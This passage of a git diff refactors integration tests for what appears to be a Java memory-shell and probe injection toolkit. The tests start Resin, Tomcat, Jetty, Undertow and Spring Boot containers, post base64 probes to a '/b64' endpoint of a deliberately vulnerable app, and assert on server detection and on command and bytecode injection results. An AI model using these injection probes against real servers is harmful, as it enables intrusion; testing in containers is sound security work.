com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -55,20 +53,20 @@ public class Resin318ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.RESIN, data); + assertEquals(Server.Resin, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_7); + ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V1_7); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_7); + ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_7); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java index 1b450932..9bbfd32b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.resin; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -55,20 +53,20 @@ public class Resin4058ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.RESIN, data); + assertEquals(Server.Resin, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java index 101fdd04..9df38c79 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.resin; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -54,20 +53,20 @@ public class Resin4067ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.RESIN, data); + assertEquals(Server.Resin, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V11); + ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V11); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V11); + ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V11); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java index e64d95d5..d51462ff 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.probe.springwebflux; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +15,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; +import static com.reajason.javaweb.integration.ContainerTool.springBoot2WebfluxDockerfile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -53,6 +52,6 @@ public class SpringBoot2WebFluxContainerTest { void testServerDetection() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.SpringWebFlux.name(), data); + assertEquals(Server.SpringWebFlux, data); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java index 1b802df2..abaed19e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.probe.springwebflux; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +15,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; +import static com.reajason.javaweb.integration.ContainerTool.springBoot3WebfluxDockerfile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -53,6 +52,6 @@ public class SpringBoot3WebFluxContainerTest { void testServerDetection() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.SpringWebFlux.name(), data); + assertEquals(Server.SpringWebFlux, data); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java index f69bf4b2..2fb553d2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java @@ -1,14 +1,11 @@ package com.reajason.javaweb.integration.probe.springwebmvc; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.probe.payload.response.TomcatWriter; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; +import static com.reajason.javaweb.integration.ContainerTool.springBoot1Dockerfile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -60,20 +54,20 @@ public class SpringBoot1ContainerTest { void testServerDetection() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.TOMCAT, data); + assertEquals(Server.Tomcat, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java index 8858f071..627342a1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java @@ -1,14 +1,11 @@ package com.reajason.javaweb.integration.probe.springwebmvc; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.probe.payload.response.TomcatWriter; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; +import static com.reajason.javaweb.integration.ContainerTool.springBoot2Dockerfile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -61,20 +55,20 @@ public class SpringBoot2ContainerTest { void testServerDetection() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.TOMCAT, data); + assertEquals(Server.Tomcat, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java index 2ee6cf18..578de680 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.springwebmvc; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -18,9 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; +import static com.reajason.javaweb.integration.ContainerTool.springBoot2JettyDockerfile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -57,20 +55,20 @@ public class SpringBoot2JettyContainerTest { void testServerDetection() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.JETTY, data); + assertEquals(Server.Jetty, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java index cc91a7fe..4bfea31a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.springwebmvc; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -18,9 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; +import static com.reajason.javaweb.integration.ContainerTool.springBoot2UndertowDockerfile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -56,20 +54,20 @@ public class SpringBoot2UndertowContainerTest { void testServerDetection() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.UNDERTOW, data); + assertEquals(Server.Undertow, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java index 52b43aa0..8955e038 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.springwebmvc; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.springBoot2WarFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -56,20 +54,20 @@ public class SpringBoot2WarContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.TOMCAT, data); + assertEquals(Server.Tomcat, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java index bdc62ce2..4a7cb68c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java @@ -1,14 +1,11 @@ package com.reajason.javaweb.integration.probe.springwebmvc; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.probe.payload.response.TomcatWriter; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot; +import static com.reajason.javaweb.integration.ContainerTool.springBoot3Dockerfile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -60,20 +54,20 @@ public class SpringBoot3ContainerTest { void testServerDetection() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.TOMCAT, data); + assertEquals(Server.Tomcat, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V17); + ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V17); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V17); + ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java index e6e53e1c..56840b8b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java @@ -1,15 +1,12 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.probe.payload.response.TomcatWriter; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -59,20 +53,20 @@ public class Tomcat10ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.TOMCAT, data); + assertEquals(Server.Tomcat, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V11); + ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V11); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V11); + ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V11); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java index fb23733c..d17313dd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java @@ -1,15 +1,12 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.probe.payload.response.TomcatWriter; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -19,11 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -60,20 +54,20 @@ public class Tomcat11ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.TOMCAT, data); + assertEquals(Server.Tomcat, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V17); + ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V17); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V17); + ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java index f3625284..099c2d4e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -56,20 +55,20 @@ public class Tomcat11JRE21ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.TOMCAT, data); + assertEquals(Server.Tomcat, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V21); + ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V21); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V21); + ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V21); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java index 4d4bef3d..2c089375 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; @@ -60,20 +59,20 @@ public class Tomcat5ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.TOMCAT, data); + assertEquals(Server.Tomcat, data); } @Test 